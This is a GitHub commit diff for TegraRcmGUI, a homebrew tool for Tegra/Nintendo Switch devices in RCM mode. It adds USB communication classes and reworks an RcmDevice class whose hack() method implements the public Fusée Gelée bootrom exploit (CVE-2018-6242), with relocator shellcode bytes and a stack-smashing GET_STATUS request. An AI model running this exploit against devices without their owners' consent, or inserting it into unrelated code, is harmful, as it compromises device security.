1
0
Fork 0
mirror of https://github.com/eliboa/TegraRcmGUI.git synced 2025-01-31 22:05:01 +00:00

libs & dark theme

This commit is contained in:
eliboa 2020-06-24 20:31:54 +02:00
parent 014f7766c9
commit bef72f5cd0
34 changed files with 3058 additions and 223 deletions

View file

@ -1,9 +1,10 @@
QT += core gui
greaterThan(QT_MAJOR_VERSION, 4): QT += widgets
CONFIG += c++11
RC_ICONS = res/TegraRcmGUI.ico
# The following define makes your compiler emit warnings if you use
# any Qt feature that has been marked deprecated (the exact warnings
# depend on your compiler). Please consult the documentation of the
@ -16,16 +17,40 @@ DEFINES += QT_DEPRECATED_WARNINGS
#DEFINES += QT_DISABLE_DEPRECATED_BEFORE=0x060000 # disables all the APIs deprecated before Qt 6.0.0
SOURCES += \
kourou/kourou.cpp \
kourou/libs/rcm_device.cpp \
main.cpp \
qkourou.cpp \
qpayload.cpp \
qtools.cpp \
qutils.cpp \
tegrarcmgui.cpp
HEADERS += \
tegrarcmgui.h
kourou/kourou.h \
kourou/libs/libusbk_int.h \
kourou/libs/rcm_device.h \
kourou/usb_command.h \
qkourou.h \
qpayload.h \
qtools.h \
qutils.h \
rcm_device.h \
tegrarcmgui.h \
types.h
FORMS += \
qpayload.ui \
qtools.ui \
tegrarcmgui.ui
# Default rules for deployment.
qnx: target.path = /tmp/$${TARGET}/bin
else: unix:!android: target.path = /opt/$${TARGET}/bin
!isEmpty(target.path): INSTALLS += target
TRANSLATIONS = languages/tegrarcmgui_fr.ts
LIBS += -L$$PWD/../../../../../../../libusbK-dev-kit/bin/lib/amd64/ -llibusbK
INCLUDEPATH += $$PWD/../../../../../../../libusbK-dev-kit/includes
DEPENDPATH += $$PWD/../../../../../../../libusbK-dev-kit/includes
RESOURCES += \
qresources.qrc
DISTFILES +=

View file

@ -1,6 +1,201 @@
/*
* Copyright (c) 2020 eliboa
*
* This program is free software; you can redistribute it and/or modify it
* under the terms and conditions of the GNU General Public License,
* version 2, as published by the Free Software Foundation.
*
* This program is distributed in the hope it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "kourou.h"
#include <iostream>
#include <fstream>
using namespace std;
Kourou::Kourou()
{
}
bool Kourou::initDevice(KLST_DEVINFO_HANDLE deviceInfo)
{
m_rcm_ready = RcmDevice::initDevice(deviceInfo);
m_ariane_ready = false;
// If RCM device is not ready, check if Ariane is already loaded
if (!m_rcm_ready && getStatus() == CONNECTED)
{
m_ariane_ready = arianeIsReady_sync();
return m_ariane_ready;
}
return m_rcm_ready;
}
void Kourou::disconnect()
{
RcmDevice::disconnect();
m_rcm_ready = false;
m_ariane_ready = false;
}
int Kourou::sdmmc_writeFile(const char* in_path, const char* out_path, bool create_always)
{
char* fileMemBlock = nullptr;
ifstream file(in_path, ios::in | ios::binary | ios::ate);
UC_SDIO uc;
auto end = [&] (int rc) {
if(file.is_open()) file.close();
if (fileMemBlock != nullptr) delete[] fileMemBlock;
return rc;
};
if (strlen(out_path) > array_countof(uc.path)-1)
return PATH_TOO_LONG;
if (!file.is_open())
return OPEN_FILE_FAILED;
// Check file size
if (file.tellg() > MAX_FILE_SIZE) // 100MB max
return end(FILE_TOO_LARGE);
// Create command
memset(uc.path, 0, array_countof(uc.path));
uc.command = WRITE_SD_FILE;
strcpy_s(uc.path, array_countof(uc.path), out_path);
uc.file_size = file.tellg();
file.seekg(0, ios::beg);
// Send command to device
int bytesSent = write((const u8*)&uc, sizeof(uc));
if (bytesSent != sizeof(uc))
return end(SEND_COMMAND_FAILED);
// Allocate memory for file
fileMemBlock = new char[uc.file_size];
file.read(fileMemBlock, uc.file_size);
return end(sendBinPackets(fileMemBlock, uc.file_size));
}
int Kourou::sendBinPackets(char* buffer, u32 len)
{
u32 curOffset = 0, bytesRemaining = len;
u8 buf[USB_BUFFER_LENGTH];
u32 dataBufSize = USB_BUFFER_LENGTH - 32;
while(bytesRemaining > 0)
{
memset(buf, 0, USB_BUFFER_LENGTH);
UC_BlockHeader bh;
bh.block_size = bytesRemaining > dataBufSize ? dataBufSize : bytesRemaining;
bh.block_full_size = 0; // no compression
memcpy_s(&buf[0], sizeof(UC_BlockHeader), &bh, sizeof(UC_BlockHeader));
memcpy_s(&buf[32], bh.block_size, &buffer[curOffset], bh.block_size);
u32 fbs = bh.block_size + 32;
if (write((const u8*)&buf[0], fbs) != int(fbs))
return USB_WRITE_FAILED;
// Get confirmation
u32 bytesReceived = 0;
if (!readResponse(&bytesReceived, sizeof(u32)))
return USB_WRITE_FAILED;
if (bytesReceived != bh.block_size)
return USB_WRITE_FAILED;
bytesRemaining -= bh.block_size;
}
return int(len);
}
bool Kourou::readResponse(void* buffer, u32 size)
{
u32 res_size = RESPONSE_MAX_SIZE - sizeof(u16);
u8 tmp_buffer[RESPONSE_MAX_SIZE - sizeof(u16)];
if (size > res_size)
return false;
else res_size = size + sizeof(u16);
if (read(tmp_buffer, res_size) != int(res_size))
return false;
u16* signature = (u16*)tmp_buffer;
if (*signature != RESPONSE)
return false;
memcpy(buffer, &tmp_buffer[sizeof(u16)], size);
return true;
}
bool Kourou::arianeIsReady_sync()
{
auto end = [&](bool ready) {
m_ariane_ready = ready;
return ready;
};
if (RcmDevice::deviceIsReady())
{
m_rcm_ready = true;
return end(false);
}
else m_rcm_ready = false;
u8 buff[0x10];
static const char READY_INDICATOR[] = "READY.\n";
int bytesRead = 0;
flushPipe(READ_PIPE_ID);
UC_Header uc;
uc.command = GET_STATUS;
if (write((const u8*)&uc, sizeof(uc)) != sizeof(uc))
return end(false);
if ((bytesRead = read(&buff[0], 0x10)) > 0 && memcmp(&buff[0], READY_INDICATOR, array_countof(READY_INDICATOR) - 1) == 0)
return end(true);
return end(false);
}
int Kourou::getDeviceInfo(UC_DeviceInfo* di)
{
UC_Header uc;
uc.command = GET_DEVICE_INFO;
if(write((const u8*)&uc, sizeof(uc)) != sizeof(uc))
return SEND_COMMAND_FAILED;
if(read((u8*)di, sizeof(UC_DeviceInfo)) != sizeof(UC_DeviceInfo))
return RECEIVE_COMMAND_FAILED;
if (di->signature != DEVINFO)
return RECEIVE_COMMAND_FAILED;
return 0;
}
bool Kourou::rebootToRcm()
{
if (!arianeIsReady_sync())
return false;
UC_Header uc;
uc.command = REBOOT_RCM;
// Send command
write((const u8*)&uc, sizeof(uc));
// Get response
bool response = false;
if (!readResponse(&response, sizeof(bool)))
return false;
return response;
}

View file

@ -1,11 +1,59 @@
/*
* Copyright (c) 2020 eliboa
*
* This program is free software; you can redistribute it and/or modify it
* under the terms and conditions of the GNU General Public License,
* version 2, as published by the Free Software Foundation.
*
* This program is distributed in the hope it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/*
* Kourou is a C++ child class derived from base class "RcmDevice"
* This class provides additionnal functions for communicating with Ariane (backend payload based program)
*
*/
#ifndef KOUROU_H
#define KOUROU_H
#include "libs/rcm_device.h"
#include "usb_command.h"
typedef enum _KRESULT : DWORD
{
RCM_REBOOT_FAILED = 0x00F,
ARIANE_NOT_READY = 0x010,
WRONG_PARAM_GENERIC = 0x011
class Kourou
} KRESULT;
class Kourou : public RcmDevice
{
public:
Kourou();
bool initDevice(KLST_DEVINFO_HANDLE deviceInfo = nullptr);
void disconnect();
int sdmmc_writeFile(const char* in_path, const char* out_path, bool create_always = false);
int getDeviceInfo(UC_DeviceInfo* di);
bool arianeIsReady() { return m_ariane_ready; }
bool rcmIsReady() { return m_rcm_ready; }
void setRcmReady(bool b) { m_rcm_ready = b; }
bool arianeIsReady_sync();
void setArianeReady(bool b) { m_ariane_ready = b; }
bool rebootToRcm();
private:
int sendBinPackets(char* buffer, u32 len);
bool readResponse(void* buffer, u32 size);
bool m_ariane_ready = false;
bool m_rcm_ready = false;
};
#endif // KOUROU_H

View file

@ -1,3 +1,20 @@
/*
* Copyright (c) 2020 eliboa
* Copyright (c) 2018 ktemkin
*
* This program is free software; you can redistribute it and/or modify it
* under the terms and conditions of the GNU General Public License,
* version 2, as published by the Free Software Foundation.
*
* This program is distributed in the hope it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "rcm_device.h"
#include <winioctl.h>
#include <iostream>
@ -8,80 +25,107 @@ using namespace std;
RcmDevice::RcmDevice()
{
m_currentBuffer = 0;
m_b_RcmReady = false;
m_usbAPI_loaded = false;
m_devIsInitialized = false;
m_devStatus = DISCONNECTED;
}
bool RcmDevice::initDevice(KLST_DEVINFO_HANDLE deviceInfo)
{
m_b_RcmReady = false;
if (deviceInfo != nullptr)
m_devInfo = deviceInfo;
else
getPluggedDevice();
if (m_devInfo != nullptr && loadDevice() == SUCCESS)
m_b_RcmReady = true;
return m_b_RcmReady;
}
bool RcmDevice::getPluggedDevice()
RcmDevice::~RcmDevice()
{
if (m_devList != nullptr)
LstK_Free(m_devList);
u32 devCount = 0;
if (!LstK_Init(&m_devList, KLST_FLAG_NONE))
return false;
LstK_Count(m_devList, &devCount);
if (devCount == 0 || !LstK_FindByVidPid(m_devList, RCM_VID, RCM_PID, &m_devInfo))
return false;
if (m_devInfo == nullptr)
return false;
return true;
if (m_usbAPI_loaded)
m_usbApi.Free(m_usbHandle);
}
RRESULT RcmDevice::loadDevice()
{
if (m_devInfo == nullptr)
return DEVICE_NOT_FOUND;
bool RcmDevice::initDevice(KLST_DEVINFO_HANDLE deviceInfo)
{
auto error = [&](DWORD err_code){
SetLastError(err_code);
return false;
};
if (deviceInfo != nullptr && (deviceInfo->Common.Vid != RCM_VID && deviceInfo->Common.Pid != RCM_PID))
return error(WRONG_DEVICE_VID_PID);
KLST_DEVINFO_HANDLE tmp_devInfo = deviceInfo != nullptr ? deviceInfo : m_devInfo;
if(tmp_devInfo == nullptr && !getPluggedDevice(&tmp_devInfo))
return error(DEVICE_NOT_FOUND);
// New device already initialized & connected, return ready state (no need to load anything else)
if (m_devInfo != nullptr && m_devStatus == CONNECTED && m_devInfo->DeviceID == tmp_devInfo->DeviceID)
return deviceIsReady() ? true : error(DEVICE_NOT_READY);
// Init device
m_devInfo = tmp_devInfo;
m_devIsInitialized = false;
if (m_devInfo->DriverID != KUSB_DRVID_LIBUSBK)
return MISSING_LIBUSBK_DRIVER;
return error(MISSING_LIBUSBK_DRIVER);
LibK_LoadDriverAPI(&m_usbApi, m_devInfo->DriverID);
// Load driver API
if (!m_usbAPI_loaded)
{
LibK_LoadDriverAPI(&m_usbApi, KUSB_DRVID_LIBUSBK);
m_usbAPI_loaded = true;
}
// Init USB handle
m_usbApi.Free(m_usbHandle); // Free previous usb handle
if (!m_usbApi.Init(&m_usbHandle, m_devInfo))
return DEVICE_HANDLE_FAILED;
return error(DEVICE_HANDLE_FAILED);
// Verify libusbk version
libusbk::libusb_request req;
memset(&req, 0, sizeof(req));
int res = Ioctl(libusbk::LIBUSB_IOCTL_GET_VERSION, &req, sizeof(req), &req, sizeof(req));
if (res <= 0)
return DEVICE_HANDLE_FAILED;
return error(DEVICE_HANDLE_FAILED);
libusbk::version_t usbkVersion = req.version;
if (usbkVersion.major != 3 || usbkVersion.minor != 0 || usbkVersion.micro != 7)
return LIBUSBK_WRONG_DRIVER;
return error(LIBUSBK_WRONG_DRIVER);
vector<u8> deviceId(0x10, 0);
if(read(&deviceId[0], 0x10) != int(deviceId.size()))
return DEVICEID_READ_FAILED;
m_devIsInitialized = true;
m_devStatus = CONNECTED;
return SUCCESS;
// Set pipes timeout policy
u32 pipe_timeout = 2000; //ms
m_usbApi.SetPipePolicy(m_usbHandle, READ_PIPE_ID, PIPE_TRANSFER_TIMEOUT, sizeof(u32), &pipe_timeout);
m_usbApi.SetPipePolicy(m_usbHandle, WRITE_PIPE_ID, PIPE_TRANSFER_TIMEOUT, sizeof(u32), &pipe_timeout);
// Device is initialized, return ready state
return deviceIsReady() ? true : error(DEVICE_NOT_READY);
}
// This function returns true if device is ready to receive RCM commands.
// It doesn't mean the device is eXploitable !
bool RcmDevice::deviceIsReady()
{
if (!m_devIsInitialized || m_devStatus != CONNECTED)
return false;
// Generate a GET_STATUS request
u16 trash = 0; // GET_STATUS returns 2 bytes
libusbk::libusb_request req;
memset(&req, 0, sizeof(req));
req.timeout= 500;
req.status.index = 0;
req.status.recipient = 0x02;
int res = Ioctl(libusbk::LIBUSB_IOCTL_GET_STATUS, &req, sizeof(req), &trash, sizeof(u16));
if (res < 0) // If device's stack is already smashed, res = -141 (timeout)
return false;
else
return true;
}
int RcmDevice::read(u8* buffer, size_t bufferSize)
{
size_t bytesRead;
if (!m_usbApi.ReadPipe(m_usbHandle, 0x81, buffer, bufferSize, &bytesRead, nullptr))
u32 bytesRead;
if (!m_usbApi.ReadPipe(m_usbHandle, READ_PIPE_ID, buffer, bufferSize, &bytesRead, nullptr))
return -int(GetLastError());
return int(bytesRead);
@ -94,10 +138,10 @@ int RcmDevice::write(const u8* buffer, size_t bufferSize)
while (bytesRemaining > 0)
{
const size_t bytesToWrite = (bytesRemaining < PACKET_SIZE) ? bytesRemaining : PACKET_SIZE;
const u32 bytesToWrite = (bytesRemaining < PACKET_SIZE) ? bytesRemaining : PACKET_SIZE;
m_currentBuffer = (m_currentBuffer == 0) ? 1u : 0u;
size_t bytesTransfered = 0;
if(!m_usbApi.WritePipe(m_usbHandle, 0x01, (u8*)&buffer[bytesWritten], bytesToWrite, &bytesTransfered, nullptr))
u32 bytesTransfered = 0;
if(!m_usbApi.WritePipe(m_usbHandle, WRITE_PIPE_ID, (u8*)&buffer[bytesWritten], bytesToWrite, &bytesTransfered, nullptr))
return -int(GetLastError());
bytesWritten += bytesTransfered;
@ -107,6 +151,19 @@ int RcmDevice::write(const u8* buffer, size_t bufferSize)
return int(bytesWritten);
}
/*
* Fusée Gelée eXploit
* -------------------
* Vulnerability : CVE-2018-6242
* Author / Reporter : Katherine Temkin (@ktemkin)
* Affiliation : ReSwitched
* Disclosure : public disclosure planned for June 15th, 2018 ^^
* Credits : @Qyriad for fusée launcher
* @rajkosto for the Windows reimplementation (TegraRcmSmash)
*
*/
const byte BUILTIN_INTERMEZZO[] =
{
0x44, 0x00, 0x9F, 0xE5, 0x01, 0x11, 0xA0, 0xE3, 0x40, 0x20, 0x9F, 0xE5, 0x00, 0x20, 0x42, 0xE0,
@ -117,29 +174,18 @@ const byte BUILTIN_INTERMEZZO[] =
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40
};
/*
* Fusée Gelée eXploit
* -------------------
* Author / Reporter : Katherine Temkin (@ktemkin)
* Affiliation : ReSwitched
* Disclosure : public disclosure planned for June 15th, 2018 ^^
* Credits : @rajkosto for windows reimplementation (TegraRcmSmash)
*
*/
RRESULT RcmDevice::hack(const char* user_payload_path)
{
// Control user payload
ifstream userPayload(user_payload_path, ios::in | ios::binary | ios::ate);
if (!userPayload.is_open())
return OPEN_FILE_FAILED;
const auto userPayloadSize = int(userPayload.tellg());
if (userPayloadSize > 0x1ED58)
if (userPayloadSize > PAYLOAD_MAX_SIZE)
return PAYLOAD_TOO_LARGE;
// Read the user payload file into memory & release file
userPayload.seekg(0, ios::beg);
char *userPayloadBuffer = new char[userPayloadSize];
userPayload.read(&userPayloadBuffer[0], userPayloadSize);
bool error = !(userPayload) || int(userPayload.tellg()) != userPayloadSize;
@ -149,6 +195,32 @@ RRESULT RcmDevice::hack(const char* user_payload_path)
delete[] userPayloadBuffer;
return OPEN_FILE_FAILED;
}
RRESULT res = hack((u8*)userPayloadBuffer, (u32)userPayloadSize);
delete[] userPayloadBuffer;
return res;
}
RRESULT RcmDevice::hack(u8 *payload_buff, u32 buff_size)
{
if (!m_devIsInitialized)
return DEVICE_NOT_SET;
else if (m_devStatus != CONNECTED)
return DEVICE_DISCONNECTED;
else if (!deviceIsReady())
return DEVICE_NOT_READY;
if (buff_size > PAYLOAD_MAX_SIZE)
return PAYLOAD_TOO_LARGE;
m_currentBuffer = 0;
// Read device id first.
vector<u8> deviceId(0x10, 0);
if (read(&deviceId[0], 0x10) != int(deviceId.size()))
return DEVICE_NOT_READY;
// Inits
std::vector<byte> payload; // Full payload (relocator + user payload)
size_t currOffset = 0; // Payload current offset
@ -189,10 +261,9 @@ RRESULT RcmDevice::hack(const char* user_payload_path)
currOffset += paddingSize;
// Include the user payload in the command stream
payload.resize(payload.size() + userPayloadSize);
memcpy(&payload[currOffset], &userPayloadBuffer[0], userPayloadSize);
currOffset += userPayloadSize;
delete[] userPayloadBuffer;
payload.resize(payload.size() + buff_size);
memcpy(&payload[currOffset], &payload_buff[0], buff_size);
currOffset += buff_size;
// Pad the payload to fill a USB request exactly, so we don't send a short
// packet and break out of the RCM loop
@ -211,27 +282,58 @@ RRESULT RcmDevice::hack(const char* user_payload_path)
// The RCM backend alternates between two different DMA buffers. Ensure we're about to DMA
// into the higher one, so we have less to copy during our attack.
if (switchToHighBuffer() != 0)
// Warning! If device reboot to RCM, resetCurrentBuffer() must be called otherwise we'll swith to lower buffer instead
u32 sres = switchToHighBuffer();
if (sres != 0 && (sres < 0 || sres != PACKET_SIZE))
return SW_HIGHBUFF_FAILED;
// Smash the stack
// Finally, to trigger the memcpy vulnerability itself, we need to send a
// long length "GET_STATUS" request to the endpoint
int stLength = RCM_PAYLOAD_ADDR - getCurrentBufferAddress();
std::vector<byte> threshBuf(stLength, 0);
std::vector<byte> threshBuf(stLength, 0);
libusbk::libusb_request req;
memset(&req, 0, sizeof(req));
req.timeout= 1000;
req.status.index = 0;
req.status.recipient = 0x02;
// Request device
int res = Ioctl(libusbk::LIBUSB_IOCTL_GET_STATUS, &req, sizeof(req), &threshBuf[0], threshBuf.size());
// If stack is smashed, the request will timeout
// If the device is an ipatched unit or Mariko+, the request will likely return 0 (or < 0)
if (res <= 0 && -res != ERROR_SEM_TIMEOUT)
return STACK_SMASH_FAILED;
else
return SUCCESS;
}
////////////////////////////////////////////
///// PRIVATE METHODS /////
////////////////////////////////////////////
// Find a plugged USB device matching Tegra RCM pID and vID.
bool RcmDevice::getPluggedDevice(KLST_DEVINFO_HANDLE *devinfo)
{
if (m_devList != nullptr)
LstK_Free(m_devList);
u32 devCount = 0;
if (!LstK_Init(&m_devList, KLST_FLAG_NONE))
return false;
LstK_Count(m_devList, &devCount);
if (devCount == 0 || !LstK_FindByVidPid(m_devList, RCM_VID, RCM_PID, devinfo))
return false;
if (devinfo == nullptr)
return false;
return true;
}
// Send an IOCTL request to USB endpoint
int RcmDevice::Ioctl(DWORD ioctlCode, const void* inputBytes, size_t numInputBytes, void* outputBytes, size_t numOutputBytes)
{
HANDLE driverHandle = INVALID_HANDLE_VALUE;
@ -255,9 +357,9 @@ int RcmDevice::Ioctl(DWORD ioctlCode, const void* inputBytes, size_t numInputByt
if (!GetOverlappedResult(driverHandle, &overlapped, &bytesReceived, true))
return -int(GetLastError());
return bytesReceived;
return int(bytesReceived);
}
// Switch to higher DMA buffer
int RcmDevice::switchToHighBuffer()
{
if (m_currentBuffer == 0)
@ -271,9 +373,6 @@ int RcmDevice::switchToHighBuffer()
return writeRes;
}
else
return 0;
else return 0;
}

View file

@ -1,17 +1,36 @@
/*
* Copyright (c) 2020 eliboa
*
* This program is free software; you can redistribute it and/or modify it
* under the terms and conditions of the GNU General Public License,
* version 2, as published by the Free Software Foundation.
*
* This program is distributed in the hope it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef RCMDEVICE_H
#define RCMDEVICE_H
#include <windows.h>
#include "libusbk_int.h"
#include "../types.h"
#include <string>
#include "../../types.h"
#define PACKET_SIZE 0x1000
#define PAYLOAD_MAX_SIZE 0x1ED58
static int RCM_VID = 0x0955;
static int RCM_PID = 0x7321;
static UCHAR READ_PIPE_ID = 0x81;
static UCHAR WRITE_PIPE_ID = 0x01;
typedef enum _RESULT
typedef enum _RESULT : DWORD
{
SUCCESS = 0x000,
LIBUSBK_WRONG_DRIVER = 0x001,
@ -23,19 +42,28 @@ typedef enum _RESULT
USB_WRITE_FAILED = 0x007,
SW_HIGHBUFF_FAILED = 0x008,
STACK_SMASH_FAILED = 0x009,
DEVICEID_READ_FAILED = 0x00A
DEVICEID_READ_FAILED = 0x00A,
DEVICE_NOT_READY = 0x00B,
DEVICE_NOT_SET = 0x00C,
WRONG_DEVICE_VID_PID = 0x00D,
DEVICE_DISCONNECTED = 0x00E
} RRESULT;
typedef enum _DEVICE_STATUS {
DISCONNECTED,
CONNECTED
} DEVICE_STATUS;
class RcmDevice
{
////////////////////////////////////////////
///// PUBLIC METHODS /////
////////////////////////////////////////////
public:
//! Rcm device constructor
//! Rcm device constructor
RcmDevice();
~RcmDevice();
////////////////////////////////////////////
///// PUBLIC METHODS /////
////////////////////////////////////////////
/*!
* \brief Initialize a RCM device. This function must be called at least on time before any other method call
@ -44,7 +72,7 @@ public:
*
* \returns
* - on success, true.
* - on failure, false.
* - on failure, false (use GetLastError() to get error code)
*/
bool initDevice(KLST_DEVINFO_HANDLE deviceInfo = nullptr);
@ -57,6 +85,17 @@ public:
* - on failure, see enum RRESULT
*/
RRESULT hack(const char* payload_path);
/*!
* \brief Constructs a RCM payload and smash the device stack (fusée gelée exploit)
* \param payload_buff
* Pointer to the payload data
* \param buff_size
* Payload size
* \returns
* - on success, SUCCESS (0)
* - on failure, see enum RRESULT
*/
RRESULT hack(u8 *payload_buff, u32 buff_size);
/*!
* \brief Read a buffer from USB pipe
@ -79,12 +118,24 @@ public:
int write(const u8* buffer, size_t bufferSize);
/*!
* \brief Checks whether the device is ready or not
* \brief Check whether the device is ready to receive RCM commands
* \return true if device is ready
*/
bool isDeviceReady() { return m_b_RcmReady; };
bool deviceIsReady();
//! Get the RCM device status (CONNECTED / DISCONNECTED)
DEVICE_STATUS getStatus() { return m_devStatus; }
//! Set the RCM device status to DISCONNECTED
void disconnect() { m_devStatus = DISCONNECTED; }
// API Getters
bool flushPipe(UCHAR pipeId) { return m_usbApi.FlushPipe(m_usbHandle, pipeId); }
// Reset the current buffer to lower one. Use this with caution.
// Current buffer should not be reset manually, except after a controlled RCM reboot er disconnection.
// disconnect() method should be preferred
void resetCurrentBuffer() { m_currentBuffer = 0; }
// member variables
private:
bool m_is_devicePlugged;
KLST_DEVINFO_HANDLE m_devInfo = nullptr;
@ -92,12 +143,12 @@ private:
KUSB_DRIVER_API m_usbApi;
KLST_HANDLE m_devList = nullptr;
u32 m_currentBuffer = 0;
bool m_b_RcmReady;
bool m_devIsInitialized = false;
bool m_usbAPI_loaded = false;
DEVICE_STATUS m_devStatus;
// private methods
private:
RRESULT loadDevice();
bool getPluggedDevice();
bool getPluggedDevice(KLST_DEVINFO_HANDLE *devinfo);
int switchToHighBuffer();
u32 getCurrentBufferAddress() const { return m_currentBuffer == 0 ? 0x40005000u : 0x40009000u; }
int Ioctl(DWORD ioctlCode, const void* inputBytes, size_t numInputBytes, void* outputBytes, size_t numOutputBytes);
@ -115,7 +166,6 @@ public:
_handle = INVALID_HANDLE_VALUE;
}
}
void swap(WinHandle&& other) noexcept { std::swap(_handle, other._handle); }
WinHandle(WinHandle&& moved) noexcept : _handle(INVALID_HANDLE_VALUE) { swap(std::move(moved)); }

View file

@ -26,9 +26,6 @@
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "config.h"
#include <iostream>
using std::cout;
using std::cerr;
@ -43,29 +40,26 @@ using std::string;
#include <cstdlib>
using std::exit;
#define CRYPTOPP_INCLUDE_CRYPTLIB <CRYPTOLIB_HEADER_PREFIX/cryptlib.h>
#define CRYPTOPP_INCLUDE_CMAC <CRYPTOLIB_HEADER_PREFIX/cmac.h>
#define CRYPTOPP_INCLUDE_AES <CRYPTOLIB_HEADER_PREFIX/aes.h>
#define CRYPTOPP_INCLUDE_HEX <CRYPTOLIB_HEADER_PREFIX/hex.h>
#define CRYPTOPP_INCLUDE_FILTERS <CRYPTOLIB_HEADER_PREFIX/filters.h>
#define CRYPTOPP_INCLUDE_SECBLOCK <CRYPTOLIB_HEADER_PREFIX/secblock.h>
#include CRYPTOPP_INCLUDE_CRYPTLIB
#include CRYPTOPP_INCLUDE_CMAC
#include CRYPTOPP_INCLUDE_AES
#include CRYPTOPP_INCLUDE_HEX
#include CRYPTOPP_INCLUDE_FILTERS
#include CRYPTOPP_INCLUDE_SECBLOCK
#include "cryptlib.h"
using CryptoPP::Exception;
#include "cmac.h"
using CryptoPP::CMAC;
#include "aes.h"
using CryptoPP::AES;
#include "hex.h"
using CryptoPP::HexEncoder;
using CryptoPP::HexDecoder;
#include "filters.h"
using CryptoPP::StringSink;
using CryptoPP::StringSource;
using CryptoPP::HashFilter;
using CryptoPP::HashVerificationFilter;
#include "secblock.h"
using CryptoPP::SecByteBlock;
extern "C" int cmac_hash(const unsigned char *msg, int len, unsigned char *cmac_buf)

View file

@ -137,7 +137,7 @@ typedef struct {
} nv3p_cmd_status_t;
/*
* nv3p_platform_info_t: retrieves the system information. All parameters
* nv3p_platform_info_t: retrieves the system information. All paramters
* are output parameters.
*/
typedef struct {

View file

@ -113,6 +113,10 @@ typedef struct {
#define RCM_OP_MODE_ODM_OPEN 0x5
#define RCM_OP_MODE_ODM_SECURE_PKC 0x6
#ifdef __cplusplus
extern "C" {
#endif
int rcm_init(uint32_t version, const char *keyfile);
uint32_t rcm_get_msg_len(uint8_t *msg);
int rcm_create_msg(
@ -123,4 +127,8 @@ int rcm_create_msg(
uint32_t payload_len,
uint8_t **msg);
#ifdef __cplusplus
}
#endif
#endif // _RCM_H

View file

@ -26,9 +26,6 @@
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "config.h"
#include <iostream>
using std::cout;
using std::cerr;
@ -43,39 +40,36 @@ using std::string;
#include <cstdlib>
using std::exit;
#define CRYPTOPP_INCLUDE_CRYPTLIB <CRYPTOLIB_HEADER_PREFIX/cryptlib.h>
#define CRYPTOPP_INCLUDE_FILES <CRYPTOLIB_HEADER_PREFIX/files.h>
#define CRYPTOPP_INCLUDE_FILTERS <CRYPTOLIB_HEADER_PREFIX/filters.h>
#define CRYPTOPP_INCLUDE_INTEGER <CRYPTOLIB_HEADER_PREFIX/integer.h>
#define CRYPTOPP_INCLUDE_OSRNG <CRYPTOLIB_HEADER_PREFIX/osrng.h>
#define CRYPTOPP_INCLUDE_QUEUE <CRYPTOLIB_HEADER_PREFIX/queue.h>
#define CRYPTOPP_INCLUDE_RSA <CRYPTOLIB_HEADER_PREFIX/rsa.h>
#define CRYPTOPP_INCLUDE_PSSR <CRYPTOLIB_HEADER_PREFIX/pssr.h>
#define CRYPTOPP_INCLUDE_SHA <CRYPTOLIB_HEADER_PREFIX/sha.h>
#define CRYPTOPP_INCLUDE_SECBLOCK <CRYPTOLIB_HEADER_PREFIX/secblock.h>
#include CRYPTOPP_INCLUDE_CRYPTLIB
#include CRYPTOPP_INCLUDE_FILES
#include CRYPTOPP_INCLUDE_FILTERS
#include CRYPTOPP_INCLUDE_INTEGER
#include CRYPTOPP_INCLUDE_OSRNG
#include CRYPTOPP_INCLUDE_QUEUE
#include CRYPTOPP_INCLUDE_RSA
#include CRYPTOPP_INCLUDE_PSSR
#include CRYPTOPP_INCLUDE_SHA
#include CRYPTOPP_INCLUDE_SECBLOCK
#include "cryptlib.h"
using CryptoPP::Exception;
#include "integer.h"
using CryptoPP::Integer;
#include "files.h"
using CryptoPP::FileSource;
#include "filters.h"
using CryptoPP::StringSink;
using CryptoPP::SignerFilter;
#include "queue.h"
using CryptoPP::ByteQueue;
#include "rsa.h"
using CryptoPP::RSA;
using CryptoPP::RSASS;
#include "pssr.h"
using CryptoPP::PSS;
#include "sha.h"
using CryptoPP::SHA256;
#include "secblock.h"
using CryptoPP::SecByteBlock;
#include "osrng.h"
using CryptoPP::AutoSeededRandomPool;
#include "rsa-pss.h"

View file

@ -1,5 +1,5 @@
/*
* Copyright (c) 2011-2016, NVIDIA CORPORATION
< * Copyright (c) 2011-2016, NVIDIA CORPORATION
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
@ -76,6 +76,7 @@ static int usb_match(libusb_device *dev, uint16_t venid, uint16_t *devid
}
switch (desc.idProduct & 0xff) {
case USB_DEVID_NVIDIA_TEGRA20:
case USB_DEVID_NINTENDO_SWITCH:
case USB_DEVID_NVIDIA_TEGRA30:
case USB_DEVID_NVIDIA_TEGRA114:
case USB_DEVID_NVIDIA_TEGRA124:

View file

@ -32,6 +32,9 @@
#include <stdbool.h>
#include <libusb.h>
#define MIN(a,b) (((a)<(b))?(a):(b))
#define MAX(a,b) (((a)>(b))?(a):(b))
#if defined(LIBUSBX_API_VERSION) && (LIBUSBX_API_VERSION >= 0x01000102)
#define HAVE_USB_PORT_MATCH
